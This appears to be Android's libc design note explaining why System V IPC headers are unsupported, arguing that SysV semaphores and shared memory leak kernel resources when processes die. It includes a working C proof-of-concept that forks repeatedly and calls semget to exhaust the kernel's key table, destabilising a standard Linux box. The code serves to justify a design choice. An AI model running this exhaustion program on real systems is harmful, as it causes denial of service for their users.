|  | Android does not support System V IPCs, i.e. the facilities provided by the | 
|  | following standard Posix headers: | 
|  |  | 
|  | <sys/sem.h>   /* SysV semaphores */ | 
|  | <sys/shm.h>   /* SysV shared memory segments */ | 
|  | <sys/msg.h>   /* SysV message queues */ | 
|  | <sys/ipc.h>   /* General IPC definitions */ | 
|  |  | 
|  | The reason for this is due to the fact that, by design, they lead to global | 
|  | kernel resource leakage. | 
|  |  | 
|  | For example, there is no way to automatically release a SysV semaphore | 
|  | allocated in the kernel when: | 
|  |  | 
|  | - a buggy or malicious process exits | 
|  | - a non-buggy and non-malicious process crashes or is explicitely killed. | 
|  |  | 
|  | Killing processes automatically to make room for new ones is an | 
|  | important part of Android's application lifecycle implementation. This means | 
|  | that, even assuming only non-buggy and non-malicious code, it is very likely | 
|  | that over time, the kernel global tables used to implement SysV IPCs will fill | 
|  | up. | 
|  |  | 
|  | At that point, strange failures are likely to occur and prevent programs that | 
|  | use them to run properly until the next reboot of the system. | 
|  |  | 
|  | And we can't ignore potential malicious applications. As a proof of concept | 
|  | here is a simple exploit that you can run on a standard Linux box today: | 
|  |  | 
|  | --------------- cut here ------------------------ | 
|  | #include <sys/sem.h> | 
|  | #include <sys/wait.h> | 
|  | #include <unistd.h> | 
|  | #include <stdio.h> | 
|  | #include <stdlib.h> | 
|  | #include <errno.h> | 
|  |  | 
|  | #define  NUM_SEMAPHORES  32 | 
|  | #define  MAX_FAILS       10 | 
|  |  | 
|  | int  main(void) | 
|  | { | 
|  | int   counter = 0; | 
|  | int   fails   = 0; | 
|  |  | 
|  | if (counter == IPC_PRIVATE) | 
|  | counter++; | 
|  |  | 
|  | printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES); | 
|  |  | 
|  | for (;;) { | 
|  | int  ret = fork(); | 
|  | int  status; | 
|  |  | 
|  | if (ret < 0) { | 
|  | perror("fork:"); | 
|  | break; | 
|  | } | 
|  | if (ret == 0) { | 
|  | /* in the child */ | 
|  | ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT ); | 
|  | if (ret < 0) { | 
|  | return errno; | 
|  | } | 
|  | return 0; | 
|  | } | 
|  | else { | 
|  | /* in the parent */ | 
|  | ret = wait(&status); | 
|  | if (ret < 0) { | 
|  | perror("waitpid:"); | 
|  | break; | 
|  | } | 
|  | if (status != 0) { | 
|  | status = WEXITSTATUS(status); | 
|  | fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret, | 
|  | counter, status); | 
|  | if (++fails >= MAX_FAILS) | 
|  | break; | 
|  | } | 
|  | } | 
|  |  | 
|  | counter++; | 
|  | if ((counter % 1000) == 0) { | 
|  | printf("%d\n", counter); | 
|  | } | 
|  | if (counter == IPC_PRIVATE) | 
|  | counter++; | 
|  | } | 
|  | return 0; | 
|  | } | 
|  | --------------- cut here ------------------------ | 
|  |  | 
|  | If you run it on a typical Linux distribution today, you'll discover that it | 
|  | will quickly fill up the kernel's table of unique key_t values, and that | 
|  | strange things will happen in some parts of the system, but not all. | 
|  |  | 
|  | (You can use the "ipcs -u" command to get a summary describing the kernel | 
|  | tables and their allocations) | 
|  |  | 
|  | For example, in our experience, anything program launched after that that | 
|  | calls strerror() will simply crash. The USB sub-system starts spoutting weird | 
|  | errors to the system console, etc... |